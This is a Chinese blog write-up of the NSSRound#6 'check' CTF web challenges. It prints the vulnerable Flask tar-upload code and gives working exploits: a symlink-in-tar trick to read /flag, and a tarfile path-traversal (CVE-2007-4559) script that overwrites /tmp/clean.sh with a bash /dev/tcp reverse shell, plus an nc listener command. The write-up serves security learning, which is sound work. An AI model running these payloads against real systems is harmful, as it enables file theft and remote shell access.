NSSCTF【NSSRound#6 Tea】

最新推荐文章于 2024-10-09 15:50:47 发布
最新推荐文章于 2024-10-09 15:50:47 发布
阅读量1.1k 收藏 14
点赞数 36
分类专栏： CTF知识及赛题 文章标签： 网络 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2302_78903258/article/details/140838389
版权

[NSSRound#6 Team]check(V1)

考察：利用软链接上传文件实现任意文件读取

打开题目，将代码格式化一下（右键点击查看源代码）


# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])

def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'
    print(file.filename)
    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'

@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'
    
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    
    if '..' in filename or '/' in filename:
        return '?'
    
    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'
    
    with open(filepath, 'r') as f:
        return f.read()
    
@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('/tmp/clean.sh')
    return 'success'

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

能够进行文件的上传与下载，同时限制了文件只能是tar文件，并对文件名进行了过滤，禁止了..和/符号

主要的解题思路在于

 tar = tarfile.open(file_save_path, "r")
 tar.extractall(app.config['UPLOAD_FOLDER'])

#这段代码存在文件路径注入漏洞
#文件路径注入：如果file_save_path变量的值是通过用户输入或其他不可信的来源获取的，存在路径注入的风险。攻击者可以通过构造恶意的路径来访问系统中的其他文件或目录。

 可以通过上传一个tar文件，文件里面的内容软连接指向/flag，tar被解压后里面的文件指向了flag的内容，然后通过download函数将文件下载出来即可得到flag

 题解

在linux下运行

ln -s /flag flag
tar -cvf flag.tar flag

 

通过以下脚本上传，并且download flag并打印，保存成一个.py文件，用python运行即可

import requests as req

url = "http://node5.anna.nssctf.cn:29611/"
filename = r"flag.tar"     //这里的文件名是绝对路径
def upload(url ,fileName):
    url = url + "upload"
    file = {"file":open(fileName,'rb')}
    response = req.post(url=url, files = file)
    print(response.text)

def download(url):
    url = url+"download"
    file = {"filename":"flag"}
    response = req.post(url, data=file)
    print(response.text)
if __name__ == "__main__":
    upload(url,filename)
    download(url)

[NSSRound#6 Team]check(V2) 

考察：利用软链接上传文件实现任意文件读取

打开题目，发现源码，有点类似上一道题，看看能不能解决


# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])

def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'
    print(file.filename)
    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'

@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'
    
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    
    if '..' in filename or '/' in filename:
        return '?'
    
    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'
    
    with open(filepath, 'r') as f:
        return f.read()
    
@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('su ctf -c /tmp/clean.sh')
    return 'success'

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

直接给出payload

import requests as req

url = "http://node5.anna.nssctf.cn:22445/"
filename = r"flag.tar"
def upload(url ,fileName):
    url = url + "upload"
    file = {"file":open(fileName,'rb')}
    response = req.post(url=url, files = file)
    print(response.text)

def download(url):
    url = url+"download"
    file = {"filename":"flag"}
    response = req.post(url, data=file)
    print(response.text)
if __name__ == "__main__":
    upload(url,filename)
    download(url)

 得到flag

[NSSRound#6 Team]check(Revenge)

考察：tarfile漏洞，flask debug模式算pin码

打开题目，得到源码


# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])

def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'

    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'

@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'
    
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    
    if '..' in filename or '/' in filename:
        return '?'
    
    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'
    
    if os.path.islink(filepath):
        return '?'
    
    if oct(os.stat(filepath).st_mode)[-3:] != '444':
        return '?'
    
    with open(filepath, 'r') as f:
        return f.read()
    
@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('su ctf -c /tmp/clean.sh')
    return 'success'

# print(os.environ)

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

思路分析
本题的知识点：

1、tarfile文件覆盖漏洞（CVE-2007-4559）

2、开启了flask的debug模式（如上源码中的debug=True），于是可以在 /console 中进入控制台，但前提是需要有pin码

3、flask debug模式算pin码

具体思路：利用tarfile任意文件覆盖漏洞，覆盖/tmp/clean.sh，再触发clean路由反弹shell，但是反弹的shell是ctf用户，没有权限读取根目录下的flag文件，flask是root用户运行，因此可以进入flask的 /console 控制台读取文件，前提是算出pin码，所以需要用反弹的ctf用户的shell找到对应信息算出pin码，登录/console后最终拿到flag.

 解题（在linux中运行）

首先我们需要创建覆盖clean.sh的exp文件，文件名为exp.sh，内容如下：

bash -c "bash -i >& /dev/tcp/ip/port 0>&1"   ## 不加 bash -c 无法运行

bash -c "bash -i >& /dev/tcp/node5.anna.nssctf.cn/1234 0>&1"
#ip地址为被监听机
#port为监听端口

并且给这个文件加上可执行权限：chmod +x exp.sh 

接下去我们利用tarfile模块创建一个恶意的tar文件：把下面内容保存在.py文件中，接着运行

import tarfile

def changeName(tf):
    tf.name = '../../../../../tmp/clean.sh'
    return tf

with tarfile.open('exp.tar', 'w') as tf:
    # 将exp.sh重命名为'../../../../../tmp/clean.sh',并放入exp.tar文件夹中进行压缩
    tf.add('exp.sh', filter=changeName)  # exp.sh就是反弹文件

文件创建好后进行上传，并触发clean路由，脚本如下

import requests

url = 'http://node5.anna.nssctf.cn:21964/'

file = {
	'file': open(file='exp.tar', mode='rb')
}

resp = requests.post(url=url+'upload', files=file)
print(resp.text)
res = requests.post(url=url+'clean')
print(resp.text)

 

在linux中执行以上脚本，并在公网ip机中开启监听：nc -lvnp 1234

获得shell：但仍然拿不到flag

下面的操作我就给出文章了

【WP】NSSCTF Round#6 web3-check(Revenge)复现_wpnss-CSDN博客

 

 

Paranoid144
关注
专栏目录
TEA1755T引脚功能说明
06-18
6. Multi-Chip Module（MCM）：TEA1755T是一种MCM，包含两个芯片：高压BCD800工艺和低压SOI工艺。BCD800工艺用于直接启动从rectified universal mains voltage，而SOI工艺用于准确的高速保护功能和控制。 7. 高效率...
NSSCTF Round#6 WP
as you know, nlp is fantasitc!
10-19 806
漏洞点在思路：生成一个软链接，通过软链接链接到/flag文件，然后将软链接打包成tar文件上传，之后再读取文件，读取文件时，由于extractall提取出来的是一个软链接，后面读取的时候就是/flag文件写个脚本上传文件。
[NSSRound#6 Team]Web学习
Aiwin的博客
01-16 1244
[NSSRound#6 Team]中CVE-2007-4559与Flask开启debug后PIN码的计算
【WP】NSSCTF Round#6 web3-check(Revenge)复现
BrosyveryOK的博客
11-04 539
我太菜了。
【Python】tarfile目录遍历漏洞——从一道web题入手
BrosyveryOK的博客
10-16 776
tarfile漏洞
[NSSRound#4] 复现
qq_61768489的博客
08-12 1336
可以看到下面的句子跟原棋盘数量一样，也就是我们要给原棋盘涂色，玩完之后能组成下面的句子并且颜色相符。是无法被正常解析的，所以需要修改签名，让他变成一个正常的phar文件还需要对phar文件进行修改。文件的签名是第一次生成文件的时候自动生成的，所以当我们修改数据过后，由于签名错误，这个。将文件压缩为zip文件，并把后缀改为png文件，这样文件内容和后缀白名单检测都绕过了。这里对文件后后缀进行了白名单，也对phar文件内容进行了检测，伪了绕过这两点。zip打不开，是把zip文件头换成rar了，换回去。.....
TEA加密解密.rar
04-05
TEA（Tiny Encryption Algorithm）是一种简单的块加密算法，由David Wheeler和Ross J. Anderson于1994年提出。这个算法以其轻量级、高效和易于实现的特点在许多嵌入式系统和软件应用中得到了广泛使用。TEA加密解密是...
FM.rar_TEA5767
09-23
6. **文档**：可能包含项目介绍、使用说明、故障排查指南等。 在实际开发过程中，理解TEA5767的内部工作原理，如调谐机制和锁相环（PLL）的工作方式，是至关重要的。同时，需要熟悉所使用的编程语言和通信协议，...
TEA和AES加密算法驱动程序
04-10
TEA（Tiny Encryption Algorithm）和AES（Advanced Encryption Standard）是两种广泛使用的加密算法。本项目提供的"TEA和AES加密算法驱动程序"涵盖了这两种算法的实现，使得开发者能够在他们的系统或应用程序中方便...
项目管理-信息技术发展
GAVIN
10-04 703
对称加密：DES 3DES AES RC5 IEDA SM1 SM4。2）分类：PAN LAN MAN WAN 公用网 专用网。4）数据结构模型 层次模型 网状模型 关系模型。1)存储 分类：DAS FAS NAS SAN。物联网（IoT） 感知层 网络层 应用层。8） 5G 高速率 低时延 大连接。设备安全 数据安全 内容安全 行为安全。4.信息安全 保密性 完整性 可用性。3）网络协议 语法 语义 时许。5）IEEE 802 规范。6）TCP/IP 协议。4）网络标准协议 7层。
Macbook ToDesk 无法连接网络
Primer5
10-04 311
检查登录项，看到后台运行项目是关闭状态，允许后台运行之后返回查看立马显示网络连接正常。网络连接的是 Wi-Fi，打开浏览器能跟正常浏览内容，说明 Wi-Fi 是正常的。检查防火墙是没有阻止ToDesk 的任何连接，说明防火墙也是正常的。
使用socket编程来实现一个简单的C/S模型（TCP协议）
caiji0169的博客
10-02 1730
下图是基于TCP协议的客户端/服务器程序的一般流程：服务器调用socket()、bind()、listen()完成初始化后，调用accept()阻塞等待，处于监听端口的状态，客户端调用socket()初始化后，调用connect()发出SYN段并阻塞等待服务器应答，服务器应答一个SYN-ACK段，客户端收到后从connect()返回，同时应答一个ACK段，服务器收到后从accept()返回。数据传输的过程：建立连接后，TCP协议提供全双工的通信服务，但是一般的客户端/服务器程序的流程是由客户端主动发起请求，
网络风暴产生原因、危害、预防和解决方法
最新发布
luotuo28的博客
10-09 164
网络风暴是指由于某种原因引发的网络中数据流量急剧增加，导致网络性能严重下降甚至瘫痪的现象。
从零开始实现RPC框架---------项目介绍及环境准备
qq_41934502的博客
10-02 461
从零开始实现rpc架构项目介绍
【华为HCIP实战课程六】OSPF邻居关系排错网络子网掩码问题，网络工程师
Bert_Wang的博客
10-06 236
因为R3和R4直连的链路为PPP链路，则可以学到对端链路的32位主机路由，可以正常建立OSPF邻居关系。R3和R4虽然不在同一网段，此时R3是可以ping通R4的互联地址 10.1.34.4。R3仍然可以正常和R4建立邻居关系，因为此时虽然没有对端直连路由但是有对端ospf路由。R4可以查看对端的接口的ospf路由，可以正常建立ospf邻居关系。此时我们把R3和R4链路类型更改为HDLC。R3和R4已经建立正常的ospf邻居关系。更改IP地址前R3接口IP地址。
Netty 相比原生IO模型的优势
lssffy的博客
10-09 358
Java提供了多种I/O模型，每种模型都有其适用的场景和特点，随着网络应用需求的变化，I/O模型也在不断发展。阻塞I/O（BIO，Blocking I/O）传统的I/O模型，使用简单，但每次I/O操作都会阻塞线程。每个请求需要独立的线程来处理，这在并发请求较少时问题不大，但在高并发情况下，线程资源将成为瓶颈。非阻塞I/O（NIO，Non-Blocking I/O）引入了多路复用技术，一个线程可以处理多个连接，避免了BIO中每个连接占用一个线程的问题。通过Selector。
Network - 网络端口
guoqx的专栏
10-07 1019
客户端使用从一系列可用端口（通常为 49152 至 65535，称为 “短暂端口”）中随机分配的端口启动通信。- 网络服务器（如 Apache 或 Nginx）通过 80 端口（HTTP）或 443 端口（HTTPS）监听。- 当客户端连接到服务器时，它知道服务器的 IP 地址和端口号，但它自己的端口号是由操作系统动态分配的。- 例如 网络服务器通常监听 80 端口（HTTP）或 443 端口（HTTPS）。- 服务器使用一个特定的、众所周知的端口来监听传入请求（如 HTTP 的 80 端口）。
《C++中实现高效网络流处理的关键技术与实践》
xy520521的博客
10-08 631
在一个简单的服务器程序中，如果使用阻塞式 I/O，当有大量客户端同时连接时，服务器需要为每个客户端创建一个线程，而这些线程大部分时间都处于阻塞状态，浪费了大量的系统资源。例如，Google 的 Protocol Buffers 和 Facebook 的 FlatBuffers 都是非常高效的序列化库，它们可以将数据序列化为紧凑的二进制格式，减少数据的传输量和序列化/反序列化的时间。在进行网络流处理时，可以对协议头进行优化，减少不必要的信息传输，提高数据传输的效率。选择合适的网络编程模型。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值